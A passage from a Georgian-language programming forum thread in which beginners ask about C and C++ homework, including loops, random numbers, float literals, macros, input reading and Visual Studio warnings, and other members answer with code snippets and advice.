  temp_store = nums1[x];
  nums1[x] = nums1[x-1];
  nums1[x - 1] = temp_store;
 }
}



for (i = 0; i < 4; ++i)
{

 for (j = 0; j < 3; ++j)
 {
  nums[i][j] = nums1[i * 3 + j];

 }
}


}


უჰ ძლივს მოვახერხე ეს ორ განზომილებიანი მასივიდან ერთიანში გადაყვანა, მარა [i * 3 + j] ამ მომენტისათვის გუგლის დახმარება დამჭირდა, ვერ მოვწვი რო ესე უნდა გამეკეთებინა cry.gif

Posted by: nobotro 16 Dec 2013, 22:14
irakli8
int n=0;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 3; ++j)
{
nums[i][j] = nums1[n++];
}
}
ესე რო დაგეწერა არ ჯობდა?

Posted by: irakli8 16 Dec 2013, 23:25
nobotro
ხო არც ეგ არ მომაფიქრდა vik.gif

Posted by: iak-092 17 Dec 2013, 16:25
ჩემზე უაზრო შეკითხვას აქ ვერავინ დასვავს აქედანვე იცოდეთ biggrin.gif
ეხლა რასია საქმე თითქმის აზრზე არ ვარ ხოდა მაქვს საკონტროლო 20შI და ვჩალიჩობ ეხლა და რა მაინტერესებს
დაწერეთ პროგრამა რომლითაც შესაძლებელი იქნება N ცალი შემთხვევითი რიცხვის 0:100 შუალედიდან დაბეჭვდა თუ Nს ჩვენ შევიტანთ
ანუ მე ვიცი ეს
CODE

#include <iostream>
using namespace std;
int main(){
 int n;
cin>>n;
  cout<<rand()%101<<endl;

 system("PAUSE");
 return 0;
}  

მარა ნ ცალი როგორ გამოვატანინო ანუ ეს N სად ჩავაკვეხო ხომ ვერ მეტყვით? sad.gif

Posted by: ILIA1702 17 Dec 2013, 17:15
iak-092
#include <iostream>
using namespace std;
int main(){
int i,n;
cin>>n;
for(i=0;i<n;i++)//აქ აკვეხებ wink.gif
cout<<rand()%101<<endl;

system("PAUSE");
return 0;
}

Posted by: iak-092 17 Dec 2013, 17:20
ILIA1702
მადლობა smile.gif))

კიდე ერთი რაღაც უნდა გკითხოთ sad.gif

/*//SeqmeniT 10 SemTxveviTi mTeli ricxvi [65,90] diapazonidan – didi inglisuri asoebis kodebi. dabeWdeT
am kodebis Sesabamisi simboloebi. dasabeWdad
gamoiyeneT Tqven mier gansazRvruli funqcia. Semdeg dabeWdeT simboloebs Soris umciresi da misi kodi*/
<<ამ მოცემულობაში

CODE
#include <iostream>
using namespace std;
void func();
int main()
{
func();



system ("pause");
return 0;
}
void func()
{
int i,n;
for(i=65;n=91,i<n;i++)
cout<<char(rand()%i)<<" - "<<rand()%i<<endl;
}

ესე რო ვაკეთებ რაღაც იეროგლიფებიც გამოაქ

CODE

#include <iostream>
using namespace std;
void func();
int main()
{
func();



system ("pause");
return 0;
}
void func()
{
int i,n;
for(i=65;n=91,i<n;i++)
cout<<char(i)<<" - "<<i<<endl;
}

ესე რო ვაკეთებ გამოაქ მარა ყველა 10 ცალი არა და + მინიმუმი და მისი კოდიო და როგორ ვქნა? sad.gif

Posted by: irakli8 17 Dec 2013, 18:59
iak-092
CODE

#include<iostream>
using namespace std;
int main()
{
int nums[10];
int max_val=0;

for (int i = 0; i < 10; i++)
{

 nums[i] = 65 + (rand() % (90-65)); //mianichebs mnishvnelobebs 65-90 cifrebs shoris

 cout << (char)nums[i] <<" , "; //chamotvlis am mnishvnelobebs asoebis saxit

}

cout << endl;

//max mnishvnelobis povna
for (int i = 0; i < 10; i++)
{
 if (max_val < nums[i])
  max_val = nums[i];
}

cout << "cifri: " << max_val << ", simbolo: " << (char)max_val << endl;  //daasaxelebs maqsimalur mnishvnelobas cifrebshi da asoebit
cout << endl;
}

კოდი ესაა და ფუნქციად გადაქცევას რაღა უნდა... smile.gif გადაამოწმე მაინც კარგად მუშაობს თუ არა, მეც დამწყები ვარ...

Posted by: Dixtosa 17 Dec 2013, 19:12
QUOTE
for(i=65;n=91,i<n;i++)

სხვა არ ვიცი რა ხდება შენ კოდში მარა ეს არაა სწორი.

Posted by: getch 23 Dec 2013, 15:17
1-2 რეკურსიული ამოცანა მითხრაით რაა

Posted by: irakli8 28 Dec 2013, 14:30
დავუშვათ შევქმენი რაღაც ცვლადი
float num=3.43;
რა შემთხვევაში შეიძლება დამჭირდეს ამისთვის ბოლოში f-ის მიწერა? ხომ ვამბობ დეკლარაციაში რო float-ია თქო და ბოლოში კიდე f რატო უნდა დამჭირდეს?
float num=3.43f;

Posted by: rezomegrelidze 28 Dec 2013, 14:44
irakli8

ასეთ შემთხვევაში შეიძლება დაგჭირდეს.

cout << 3.43f << endl;

გამოიტანს float-ს.

cout << 3.43 << endl;

გამოიტანს double-ს.

Posted by: irakli8 28 Dec 2013, 15:45
rezomegrelidze
ვახ, დეკლარირებაში float რო მივაწერე, მანდ რატო დამიწერს double-ს?

Posted by: rezomegrelidze 28 Dec 2013, 15:47
irakli8

მანდ არაა სავალდებულო f-ის დამატება ბოლოში.

მარა წინა პოსტში აგიხსენი რისთვისაა გამოსადეგი f-ის მიწერა.

Posted by: irakli8 28 Dec 2013, 16:02
rezomegrelidze
მე რას გეუბნები იცი, ესე რო მაქ დეკლარირებული float num=3.43; რატომ უნდა წარმოადგინოს ეს რაიმე შემთხვევაში double-ს სახით?
თუ შენ მანდ ცვლადს არ გამოსახავ და უბრალოდ რაღაცა ციფრს გამოსახავ?

Posted by: rezomegrelidze 28 Dec 2013, 16:14
irakli8

მანდ არ წარმოადგენს double-ის სახით.


მარა აქ.
auto n = 3.14;

n-ის ტიპი არის double.

Posted by: Shredinger 28 Dec 2013, 16:16
irakli8
default ად ყოველთვის double - ა.
float თუ გინდა მაინცდამაინც f უნდა მიაწერო ბოლოში.

Posted by: irakli8 28 Dec 2013, 16:30
rezomegrelidze
Shredinger
გაასაგებია!
მადლობა.

Posted by: NLO2010 13 Jan 2014, 22:56
/** @brief A code example using inheritance
*
* @file 11-1inheritance.cpp
*
* © AG Software Engineering, Universität Heidelberg
*
* Barbara Paech paech@informatik.uni-heidelberg.de,
* Tom-Michael Hesse hesse@informatik.uni-heidelberg.de
*
* created 04-jan-2014
*/

#include <iostream>
using namespace std;

class X {
private:
int valuexq;
void xa();
public:
int valuexp;
void a();
};

class Y : public X {
private:
int valueyq;
void yb();
public:
int valueyp;
void b();
};

class Z : public Y {
private:
int valuezq;
void zc();
public:
int valuezp;
void c();
};

void X::a() { };
void X::xa() { };
void Y::yb() { };
void Z::c() { };

void Y::b()
{
valueyq = valueyp;
valuexq = valuexp;
yb();
}

void Z::zc()
{
valuexp = 1;
valueyp = 2;
valuezq = 3;
a();
b();
xa();
}

int main()
{
X x;
Y y;
Z z;

x.a();
y.yb();
z.valuezp = 6;
z.valueyp = 7;
z.valuexp = 8;
z.valuexq = 9;

y.valuexp = z.valuexp;

return 0;
}

აქ არის რამდენიმე სშეცდომა იქნებ გამისწოროთ??!!!!

Posted by: cybernation21 22 Jan 2014, 13:28
NLO2010
ეგ კოდი არ არი

Posted by: 7GoodFella7 1 Feb 2014, 18:00
გამარჯობათ ))
აი ამას ვწერ და ბოლოს რო უნდა დამიბეჭდოს ფანჯარას აგდებს და ნახევარ წამში თიშავს და რისი ბრალია ?
#include <stdio.h>
main ()
{ int a=3, b=4;
float fartobi_1, fartobi_2, sxvaoba ;
printf("shemoitanet katetebis mnishvnelobebi-ori mteli ricxvi:");
fartobi_1=0.5*a*b;
a=a*2;
b=b+3;
fartobi_2=0.5*a*b;
sxvaoba=fartobi_2-fartobi_1;
printf("fartobi sheicvleba %f erteulit",sxvaoba);

return 0;
}

Posted by: mog3la 6 Feb 2014, 21:18
QUOTE (7GoodFella7 @ 1 Feb 2014, 18:00 )
გამარჯობათ ))
აი ამას ვწერ და ბოლოს რო უნდა დამიბეჭდოს ფანჯარას აგდებს და ნახევარ წამში თიშავს და რისი ბრალია ?
#include <stdio.h>
main ()
{ int a=3, b=4;
float fartobi_1, fartobi_2, sxvaoba ;
printf("shemoitanet katetebis mnishvnelobebi-ori mteli ricxvi:");
fartobi_1=0.5*a*b;
a=a*2;
b=b+3;
fartobi_2=0.5*a*b;
sxvaoba=fartobi_2-fartobi_1;
printf("fartobi sheicvleba %f erteulit",sxvaoba);

return 0;
}

ბიბლიოთეკაში დაამატე #include <conio>
და რეთურნის ზევით დაუწერე getche();

Posted by: getch 27 Feb 2014, 15:40
შემოდის გეომეტრიული ფიგურის (მრავალწახნაგის) წვეროს კოორდინატები
და როგორ უნდა დავადგინო ეს ფიგურა ჩაზნექილია თუ არა

Posted by: Dixtosa 27 Feb 2014, 16:37
getch
რა შუაშია ც++-სთან :|


მარა აჰა მაინც biggrin.gif. შენ გინდა signed area.
http://www.topcoder.com/tc?d1=tutorials&d2=geometry1&module=Static#polygon_area

Posted by: getch 27 Feb 2014, 16:52
არაფერ შუაშია უბრალდო ალგორითმი მინდოდა
სხვა უფრო ახლოს მდგომი თემა ვერმოვნახე

Posted by: BIG 9 Mar 2014, 14:32
#include<stdio.h>
#include<stdlib.h>
#include<iostream>
using namespace std;
int k,x;

int fibon(int n)
{
if(n<=2) return 1;
return fibon(n-1)+fibon(n-2);
}

main (){
cin>>k;
x=fibon(k);
cout<<x<<endl;
system("PAUSE");
}
ამ კოდში გამარკვევთ რა ხდებაა?

Posted by: koshogio 10 Mar 2014, 01:26
BIG
ძალიან უცნაურად აგენერირებს ფიბონაჩის რიცხვებს. ანუ ყოველ ჯერზე შეგყავს რიცხვები 3, 4, 5, 6, 7 და ა.შ და ღებულობ ფიბონაჩის რიცხვებს 2, 3, 5, 8, 13 ყოველი შემდეგი წინა ორის ჯამია.

ეს კოდი ჯობია, ყველაფერი ნათელია:

#include<iostream>
using namespace std;
int main()
{
int range, first = 0, second = 1, fibonicci=0;
cout << "Enter Range for Terms of Fibonacci Sequence: ";
cin >> range;
cout << "Fibonicci Series upto " << range << " Terms "<< endl;
for ( int c = 0 ; c < range ; c++ )
{
if ( c <= 1 )
fibonicci = c;
else
{
fibonicci = first + second;
first = second;
second = fibonicci;
}
cout << fibonicci <<" ";
}
return 0;
}

Posted by: fibonacci 10 Mar 2014, 04:56
ვინ დამთაგა ტო ..........................................

Posted by: nika10 12 Mar 2014, 19:41
გამარჯობა! Netbeans თუ CodeBlocks?

და კიდე, ქოუდბლოქში ფორმატირება შეიძლება? აი სწორე გამოტოვებები და რაღაცეები როა, ტექსტს თავისით რომ აწყობს ლამაზად givi.gif ბოდიში თუ ცუდათ ვხსნი.

Posted by: Shredinger 12 Mar 2014, 19:46
nika10
რომელიც გინდა. გემოვნების ამბავია მეტი არაფერი.
თუმცა CodeBlocks უფრო მსუბუქია wink.gif

Posted by: nika10 12 Mar 2014, 20:51
Shredinger

აა, ოკ მადლობა.

და ფორმატირება შესაძლებელია კოდის ქოუდბლოქში? ლამაზად და სწორედ რომ დაეწყოს კოდი ძაან მადგებოდა ხოლმე ადრე :X

Posted by: Shredinger 12 Mar 2014, 21:34
nika10
რავი წესით თავისით უნდა ქონდეს ეგეთი რამ თავიდანვე. არვიცი smile.gif

Posted by: jazzsoul 5 Apr 2014, 20:23
<graphic.h>-ის Library საიდან გადმოვწერო?
ვეძებე და ვერ ვნახე.

Posted by: ILIA1702 5 Apr 2014, 20:31
jazzsoul
რაღა დროს ეგაა. განვითარდა ბნელი 90 იანების მერე სი++ სხვა ლაიბრერები სცადე.

Posted by: jazzsoul 5 Apr 2014, 20:37
QUOTE (ILIA1702 @ 5 Apr 2014, 19:31 )
jazzsoul
რაღა დროს ეგაა. განვითარდა ბნელი 90 იანების მერე სი++ სხვა ლაიბრერები სცადე.

ალტერნატივა აქვს?
............
* * *
რომელიმე მარტივი 2განზომილებიანი თამაშის კოდი სად ვნახო? სადაც ვნახე ყველგან რაღაც ბიბლიოთეკებია საჭირო.

Posted by: ILIA1702 5 Apr 2014, 22:37
jazzsoul
QUOTE
რომელიმე მარტივი 2განზომილებიანი თამაშის კოდი სად ვნახო? სადაც ვნახე ყველგან რაღაც ბიბლიოთეკებია საჭირო.

იასნია საჭიროა ბიბლიოთეკა. მაგალითად ეს აიღე http://www.libsdl.org/

Posted by: jazzsoul 6 Apr 2014, 16:21
QUOTE (ILIA1702 @ 5 Apr 2014, 21:37 )
jazzsoul
QUOTE
რომელიმე მარტივი 2განზომილებიანი თამაშის კოდი სად ვნახო? სადაც ვნახე ყველგან რაღაც ბიბლიოთეკებია საჭირო.

იასნია საჭიროა ბიბლიოთეკა. მაგალითად ეს აიღე http://www.libsdl.org/

მადლობა..


აქაც რაღაც პრობლემა მაქვს. ტაიმერის გაკეთება მინდა. შემყავს რიცხვი, მაგალითად 5 და 5 წამში უნდა გათიშოს პროგრამა.
» სპოილერის ნახვისთვის დააწკაპუნეთ აქ «


მიწერს აი ამას :
countdown was not declared in the scopes
'system' was not declared in the scope

Posted by: Dixtosa 6 Apr 2014, 16:31
jazzsoul
stackoverflow.com/questions/3885901/system-not-declared-in-scope

QUOTE
countdown was not declared in the scopes

:|
countDown

Posted by: koshogio 11 Apr 2014, 18:48
jazzsoul

#include <iostream>
using namespace std;
int n,i;

main(){
cin>>n;
cout<<"start"<<endl;
for(i=n; i>=0; i--)

cout<<i<<endl;
if(i=1)
cout<<"endTime"<<endl;
}

Posted by: jazzsoul 31 May 2014, 20:58
როცა ვწერ ერთ ხაზზე ორ სიტყვას, ერთს აღიქვამს სტრინგად და მეორეს ინტეჯერად და არ შეიძლება რომ ორი სიტყვა ერთ სტრინგად ჩათვალოს?
» სპოილერის ნახვისთვის დააწკაპუნეთ აქ «

Posted by: Dixtosa 31 May 2014, 21:12
jazzsoul
QUOTE
for(int i = 0; i <= money; i++){
if(price > 0){
bank = money - price;

}

აქ ეს ციკლი რო ზედმეტია იცი?






QUOTE
myfile <<"Product"<< product <<
myfile << "Price" << price << endl;

უნდა იყოს
QUOTE
myfile <<"Product"<< product <<endl;
myfile << "Price" << price << endl;

Posted by: jazzsoul 31 May 2014, 23:30
QUOTE (Dixtosa @ 31 May 2014, 20:12 )
jazzsoul
QUOTE
for(int i = 0; i <= money; i++){
if(price > 0){
bank = money - price;

}

აქ ეს ციკლი რო ზედმეტია იცი?






QUOTE
myfile <<"Product"<< product <<
myfile << "Price" << price << endl;

უნდა იყოს
QUOTE
myfile <<"Product"<< product <<endl;
myfile << "Price" << price << endl;

მადლობა wink.gif
-------------------------------------

Posted by: irakli8 22 Jun 2014, 17:41
C++ არა მარა, C-ში რომ ვცდილობ გამოვიყენო strcpy გაფრთხილებას მაძლევს ვიზუალ სტუდიო და strcpy_s გამოიყენეო, ეხლა scanf-ის მაგივრად scanf_s გამოიყენეო, რაუნდა ვიზუალ სტუდიოს ვერგავიგე ასე უნდა მეუბნებოდეს?

Posted by: Shredinger 22 Jun 2014, 17:44
irakli8
დაიკიდე. გაფრთხილეაა და გეუბნება რომ არაა უსაფრთხო მაგის გამოყენებაო.
დაიკიდე ეგენი.

strcpy არაა უსაფრთხო და მაგიტო გეუბნება მაგას buffer overflows იწვევს.
გამოიყენე strncpyდა ვერაფერს ვერ გეტყვის.

Posted by: irakli8 22 Jun 2014, 17:47
Shredinger
ანუ უნდა გავთიშო გაფრთხილებები? არ მაძლევს საშუალებას რომ გაუშვას

Posted by: ILIA1702 22 Jun 2014, 17:47
irakli8
http://stackoverflow.com/questions/16883037/remove-secure-warnings-crt-secure-no-warnings-from-projects-by-default-in-vis

Posted by: irakli8 22 Jun 2014, 17:52
ILIA1702
Shredinger
მადლობა დახმარებისათვის, _s იანებს რომ ვიყენებდი რატომღაც რაღაცას ურევდა და მეორე scanf_s და მერე არც strcat_s მუშაობდა!

Posted by: irakli8 28 Jun 2014, 01:52
ერთი ესეთი კითხვა მაქ, მაგალითად ეხლა geolymp ის ამოცანები ვნახე და აი პირველ ამოცანას უწერია რო მახსოვრობის ლიმიტი 64მბ, საიდან გავიგო რა მახსოვრობას მოიხმარს ჩემი პროგრამა? თესკ მენეჯერით? user.gif ან კიდევ დროის ლიმიტიო, ეგ როგორღა უნდა გავიგო?

Posted by: Dixtosa 28 Jun 2014, 13:57
irakli8
https://www.google.com/search?client=opera&q=how+di+know+memory+usage+cpp&sourceid=opera&ie=UTF-8&oe=UTF-8#q=memory+usage+c%2B%2B

რაც შეეხება ჯეომიპმს უბრალოდ გააგზავნე და თვითონ დაგიწერს თუ აჭარ ბებს რომელიმე biggrin.gif

მეხსიერება უბრალოგ გადაამრავლე მასივის სიგრძე ეელემენტის ზომაზე.

დრო კი ამით printf("\n\ntime-%.3lf", clock()*1e-3);

Posted by: irakli8 28 Jun 2014, 14:09
Dixtosa
მადლობა!
************************

Posted by: irakli8 1 Jul 2014, 22:32
for(int x=0; x<1000; x++) და for(int x=0; x<1000; ++x)
როდესმე შეცდომაში შემიყვანს ეს თუ არ მივაქციე ყურადღება ++x დავწერ თუ x++?

Posted by: Shredinger 1 Jul 2014, 22:35
irakli8
არა,დაწერე რომელიც გინდა.
მე ++x ს ვიყენებ და ალბათ უმჯობესი იქნება თუ ++x გამოიყენებ.

Posted by: Dixtosa 1 Jul 2014, 22:44
irakli8
https://www.google.com/search?client=opera&q=x%2B%2B+vs+%2B%2Bx&sourceid=opera&ie=UTF-8&oe=UTF-8

QUOTE
ალბათ უმჯობესი იქნება თუ ++x გამოიყენებ

oO

Posted by: Shredinger 1 Jul 2014, 23:03
for ციკლში არანაირად განსხვავებას არ მაძლევს. ამიტომ მირჩევნია ++x გამოვიყენო wink.gif
თუმცა თუ ქინძი კომპილერი არაა არააქ მნიშვნელობა რომელს გამოიყენებ.
თვითონ გაუკეთებს ოპტიმიზაციას.

Posted by: irakli8 1 Jul 2014, 23:35
Shredinger
Dixtosa
მადლობა

კი ვიცი რა დროს რა ხდება ეგრე გაზრდისას უბრალოდ for ციკლში განსხვავება ვერ აღმოვაჩინე და მეთქი რამე ხომ არ გამომეპარათქო..

Posted by: irakli8 3 Jul 2014, 01:15
კიდე ერთი ესეთი კითხვა - char ტიპის ცვლადს ხომ შემიძლია მხოლოდ და მხოლოდ ერთი სიმბოლო მივანიჭო მნიშვნელობად და არა რაიმე სიტყვა, მაგრამ ეს კოდი როგორ მუშაობს?

CODE

#include<stdio.h>

main()
{
char ch;
ch = getchar();
printf("chven shevitanet mimdevroba: ");
while ((ch = getchar()) != EOF)
{
 putchar(ch);
 
}
return 0;
}

სათითაოდ იღებს მნიშვნელობას და ცალკ ცალკე ბეჭდავს? მაგალითად irakli რო შევიყვანო, ამობეჭდვის დროს ჯერ i ამობეჭდავს rakli ბუფერშია, მერე r-ს ამობეჭდავს და ასე?

Posted by: Shredinger 3 Jul 2014, 01:17
irakli8
ხო smile.gif


///////////////////////////////

Posted by: irakli8 3 Jul 2014, 01:28
Shredinger
მადლობა, ვიჩქარე კითხვის დასმა, მთვლელი დავუყენე და კი მითხრა...

ეხლა ეს, საიდანაც ვკითხულობ მოყვანილ მაგალითში ctrl+z -ს რომ აჭერს და ^Z იწერება შემდეგ ენტერზე დაჭერით წყვეტს პროგრამა მუშაობას, მარა ჩემთან არ აკეთებს იგივეს და მარტო მაშინ აკეთებს როცა მხოლოდ მაგ სიმბოლოს შევიყვან. კომპილატორის ბრალია ვითომ? ავტორი რასაც იყენებს იმ კომპილატორს არ ვიყენებ და...

Posted by: irakli8 4 Jul 2014, 02:52
კიიდევ ერთი კითხვა.

CODE
#include<stdio.h>
#define n 7
#define b 8
#define answer n+b

main()
{
printf("answer= %d\n", answer);
return 0;
}


როგორც მივხვდი ეხლა აქ n,b და answer ცვლადები არ არიან და ეხლა ცვლადები რო არ შევქმენი და ოპერაცია მათ გარეშე შევასრულე ვითომ მახსოვრობა დავზოგე?
ალბათ ასეთი რაღაცეების კეთება სისულელეა, იმიტომ რომ არ შემხვედრია კოდი ესე დაწერილი...

Posted by: Dixtosa 4 Jul 2014, 13:09
irakli8
რას აკეთებს define?

Posted by: irakli8 4 Jul 2014, 15:31
Dixtosa
#define <იდენტიფიკატორი> <ტექსტი>
სადაც იდენტიფიკატორს გამოვიყენებ ის ადგილი ტექსტით შეიცვლება, მაგალითად #define n 7, სადაც გამოვიყენებ n-ს ეგ შეიცვლება 7-ით

Posted by: Paul Adrian Maurice 6 Jul 2014, 15:41
irakli8
აწი n=7 დაგეწერა. რა საჭიროა მაკრო ცვლადის განსაზღვრისთვის? საერთოდ მაკროები რატომ უნდა გამოიყენო არ მესმის.

Posted by: Shredinger 6 Jul 2014, 15:52
Paul Adrian Maurice
მაკროებია მშველელი თუა smile.gif
ძაან კაი რამეა.

Posted by: Paul Adrian Maurice 6 Jul 2014, 16:01
Shredinger
რაში გშველის? მაკროთი განსაზღვრულ ცვლადს ჯობია const ცვლადი შემოიღო, მაკრო ფუქნციას ჯობია inline function შემოიღო. რა შემთხვევაშია მაკრო სასარგებლო?
* * *
როგორც ვხვდები მაკროები უნდა გამოიყენო პატარა სკრიპტივით. ვთქვათ ერთიდაიგივე ბიბლიოთეკას სხვადასხვა დასახელება აქვს სხვადასხვა ოპერაციულ სისტემაში. მაკროთი მიუთითებ როგორ მოიქცეს თითოელი ოპერაციული სისტემის შემთხვევაში.

Posted by: irakli8 8 Jul 2014, 20:56
ამ ამოცანაში მონაცემების აღება როგორ მოვახდინო დასამუშავებლად? ანუ არვიცი წინასწარ რამდენი ჩექფოინთი და რაღაცეები იქნება და ვერც ცვლადებს ვაკეთებ ვერც მასივს, სხვა ხერხი კიდევ ვერ მოვიფიქრე.
C-ზე ვცდილობ გაკეთებას

https://geolymp.org/static/pdf/GeOlymp_Series_2013_Episode_I.pdf მოკლედ აქ D ამოცანაა ეს..

Posted by: Dixtosa 8 Jul 2014, 21:20
irakli8
ესე მაქ შეტანა მე


#define File "training"
#define forn(N) for(ll i = 0; i<(int)N; i++)
typedef long long ll;
freopen(File".in", "r", stdin); freopen(File".out", "w", stdout);


cin >> N >> M;
vector< ll > A(N), B(M);
forn(N) cin >> A[i];
forn(M) cin >> B[i];


პ.ს. ძაან რთული ამოცანაა.

Posted by: irakli8 8 Jul 2014, 21:27
Dixtosa
QUOTE
vector< ll > A(N), B(M); forn(N) cin >> A[i]; forn(M) cin >> B[i];

აქ უკვე აღარ ვიცი რახდება, მოკლედ C++ის სინტაქსიც უნდა ვისწავლო, C-ს სახელმძღვანელოს მოვრჩი მარა აზრზე არვარ როგორ ვივარჯიშო.

ისე წინა ამოცანები შედარებით ადვილები იყო ხო? რაღაც ნახტომივით გამოუვიდათ გართულება აქ..

Posted by: irakli8 9 Jul 2014, 22:11
აი ეს რიცხვი:
37107287533902102798797998220837590246510135740250
46376937677490009712648124896970078050417018260538
74324986199524741059474233309513058123726617309629
91942213363574161572522430563301811072406154908250
23067588207539346171171980310421047513778063246676
89261670696623633820136378418383684178734361726757
28112879812849979408065481931592621691275889832738
44274228917432520321923589422876796487670272189318
47451445736001306439091167216856844588711603153276
70386486105843025439939619828917593665686757934951
62176457141856560629502157223196586755079324193331
64906352462741904929101432445813822663347944758178
92575867718337217661963751590579239728245598838407
58203565325359399008402633568948830189458628227828
80181199384826282014278194139940567587151170094390
35398664372827112653829987240784473053190104293586
86515506006295864861532075273371959191420517255829
71693888707715466499115593487603532921714970056938
54370070576826684624621495650076471787294438377604
53282654108756828443191190634694037855217779295145
36123272525000296071075082563815656710885258350721
45876576172410976447339110607218265236877223636045
17423706905851860660448207621209813287860733969412
81142660418086830619328460811191061556940512689692
51934325451728388641918047049293215058642563049483
62467221648435076201727918039944693004732956340691
15732444386908125794514089057706229429197107928209
55037687525678773091862540744969844508330393682126
18336384825330154686196124348767681297534375946515
80386287592878490201521685554828717201219257766954
78182833757993103614740356856449095527097864797581
16726320100436897842553539920931837441497806860984
48403098129077791799088218795327364475675590848030
87086987551392711854517078544161852424320693150332
59959406895756536782107074926966537676326235447210
69793950679652694742597709739166693763042633987085
41052684708299085211399427365734116182760315001271
65378607361501080857009149939512557028198746004375
35829035317434717326932123578154982629742552737307
94953759765105305946966067683156574377167401875275
88902802571733229619176668713819931811048770190271
25267680276078003013678680992525463401061632866526
36270218540497705585629946580636237993140746255962
24074486908231174977792365466257246923322810917141
91430288197103288597806669760892938638285025333403
34413065578016127815921815005561868836468420090470
23053081172816430487623791969842487255036638784583
11487696932154902810424020138335124462181441773470
63783299490636259666498587618221225225512486764533
67720186971698544312419572409913959008952310058822
95548255300263520781532296796249481641953868218774
76085327132285723110424803456124867697064507995236
37774242535411291684276865538926205024910326572967
23701913275725675285653248258265463092207058596522
29798860272258331913126375147341994889534765745501
18495701454879288984856827726077713721403798879715
38298203783031473527721580348144513491373226651381
34829543829199918180278916522431027392251122869539
40957953066405232632538044100059654939159879593635
29746152185502371307642255121183693803580388584903
41698116222072977186158236678424689157993532961922
62467957194401269043877107275048102390895523597457
23189706772547915061505504953922979530901129967519
86188088225875314529584099251203829009407770775672
11306739708304724483816533873502340845647058077308
82959174767140363198008187129011875491310547126581
97623331044818386269515456334926366572897563400500
42846280183517070527831839425882145521227251250327
55121603546981200581762165212827652751691296897789
32238195734329339946437501907836945765883352399886
75506164965184775180738168837861091527357929701337
62177842752192623401942399639168044983993173312731
32924185707147349566916674687634660915035914677504
99518671430235219628894890102423325116913619626622
73267460800591547471830798392868535206946944540724
76841822524674417161514036427982273348055556214818
97142617910342598647204516893989422179826088076852
87783646182799346313767754307809363333018982642090
10848802521674670883215120185883543223812876952786
71329612474782464538636993009049310363619763878039
62184073572399794223406235393808339651327408011116
66627891981488087797941876876144230030984490851411
60661826293682836764744779239180335110989069790714
85786944089552990653640447425576083659976645795096
66024396409905389607120198219976047599490197230297
64913982680032973156037120041377903785566085089252
16730939319872750275468906903707539413042652315011
94809377245048795150954100921645863754710598436791
78639167021187492431995700641917969777599028300699
15368713711936614952811305876380278410754449733078
40789923115535562561142322423255033685442488917353
44889911501440648020369068063960672322193204149535
41503128880339536053299340368006977710650566631954
81234880673210146739058568557934581403627822703280
82616570773948327592232845941706525094512325230608
22918802058777319719839450180888072429661980811197
77158542502016545090413245809786882778948721859617
72107838435069186155435662884062257473692284509516
20849603980134001723930671666823555245252804609722
53503534226472524250874054075591789781264330331690
როგორ შევიტანო მარტივად ეს რიცხვი მასივში? ვიზუალ სტუდიოს ვხმარობ და მასივში რომ შევიტანო ყოველ ახალ ხაზს სჭირდება ან ბრჭყალები და მძიმეები მიუწერო სათითაოდ ან კიდევ ყველაფერი ერთ ხაზზე დაალაგო და ვიზუალ სტუდიოს არაქ ავტომატურად რომ გაუკეთოს? რამოდენიმეჯერ შემხვდა ესეთი დავალება მომბეზრდა სათითაო ხაზზე ჩალიჩი user.gif

Posted by: Shredinger 9 Jul 2014, 23:54
irakli8
CODE

#include <iostream>
#include <fstream>
using namespace std;

int main()
{
char sentence[51];
int v[100*50];
ifstream fin("n.txt");

int i = 0;
int index = 0;
while(!fin.eof()){
 fin >> sentence;
 for(int j = i,index = 0; index < 50; ++j,++index){
  v[j] = sentence[index] - '0';

 }
 i += 50;
}
cin.get();
}


irakli8
ისე ოლიმპიადებს რაც შეეხება...
ერთხელ მითხრა ერთმა კაი კაცმა ჯერ პროგრამირება უნდა ისწავლო და მერე ოლიმპიადების ამოცანები უნდა აკეთოო smile.gif
თორე ასე გაგიჭირდება ყოველ ახალი ამოცანაზე რაღაცას ვერ გააკეთებ და ამოცანაზე კონცენტრირებული ვეღარ იქნები.

Posted by: Dixtosa 9 Jul 2014, 23:58
irakli8
თუ ჩაჰარკოდება გინდა გამოიყენე ალტ+შიფტი. ანუ კურსორი რო ბევრ ადგილასაა biggrin.gif

multiple cursors

Posted by: irakli8 10 Jul 2014, 00:11
Shredinger
სინტაქსი ვისწავლე და პროგრამირება როგორ ვისწავლო თუ მსგავს რაღაცეებზე არ ვივარჯიშე? მე ვერ მოვიფიქრე უკეთესი ხერხი პროგრამირების სასწავლად გარდა ალგორითმების წერისა. რაიმე პროექტი რომ გავაკეთო კიდე ჯერ არც იდეა მაქ და არც მხოლოდ C-ს სინტაქსი მეყოფა ალბათ. ან კიდევ თუ უკეთეს ვარიანტს შემომთავასებ მთლად კარგი იქნება! 2kiss.gif


Shredinger
Dixtosa
მადლობა!

Posted by: Shredinger 10 Jul 2014, 00:48
irakli8
შენით მოიფიქრე რამე პატარა ამოცანები.
ოლიმპიადის ამოცანებში გაწელილია და მოთხრობადაა შეთხზული. ეს კარგია პრაქტიკულად რეალურ ცხოვრებაში პრობლემას ჭრი.
მარა ჩემი აზრით დასაწყისისთვის ჯობია შენით მოიფიქრო რამე პატარა რაღაცეები. ან projecteuler.com ზე შეხვიდე და იქ პატარა ამოცანებია და ის აკეთო.
მაგალითად მარტივი რიცხვები 1 იდან 10000 მდე
დიდი ტექსტიდან მონაკვეთის ამოჭრა
ტექსტიდან რიცხვების მასივში შეყრა
დათვალე მოცემული რაღაც სიტყვა რამდენჯერაა გამეორებული ტექსტში
თუ C++ სინტაქსი გაქვს ნასწავლი მაშინ
დაწერე string კლასის ანალოგი შენი საკუთარი(თავისი ოპერატორების გადატვირთვებით რათქმაუნდა)

ბევრი რამის მოფიქრება შეიძლება.
შენს ადგილას მე ასე ვიზავდი სხვა არვიცი smile.gif

შემდეგ კარგი იქნება თუ სინტაქსით არ დაკმაყოფილდები,ღირებულს ვერაფერს შექმნი თუ სუფთა ენა იცი. ბიბლიოთეკებიც უნდა იცოდე.
თუ წერ C++ ზე და გინდა GUI პროგრამების დაწერა,აიღე Qt ფრეიმვორქი და დაწერ არამარტო gui ს არამედ სერვერულ პროგრამებსაც.

Posted by: irakli8 10 Jul 2014, 01:27
Shredinger
მადლობა რჩევისთვის, გავითვალისწინებ.

აი ბოლოს რომ ვიკითხე დიდი ციფრი როგორ შევიტანოთქო projecteuler.com -დან იყო.

Posted by: nika_nika0406 12 Jul 2014, 18:39
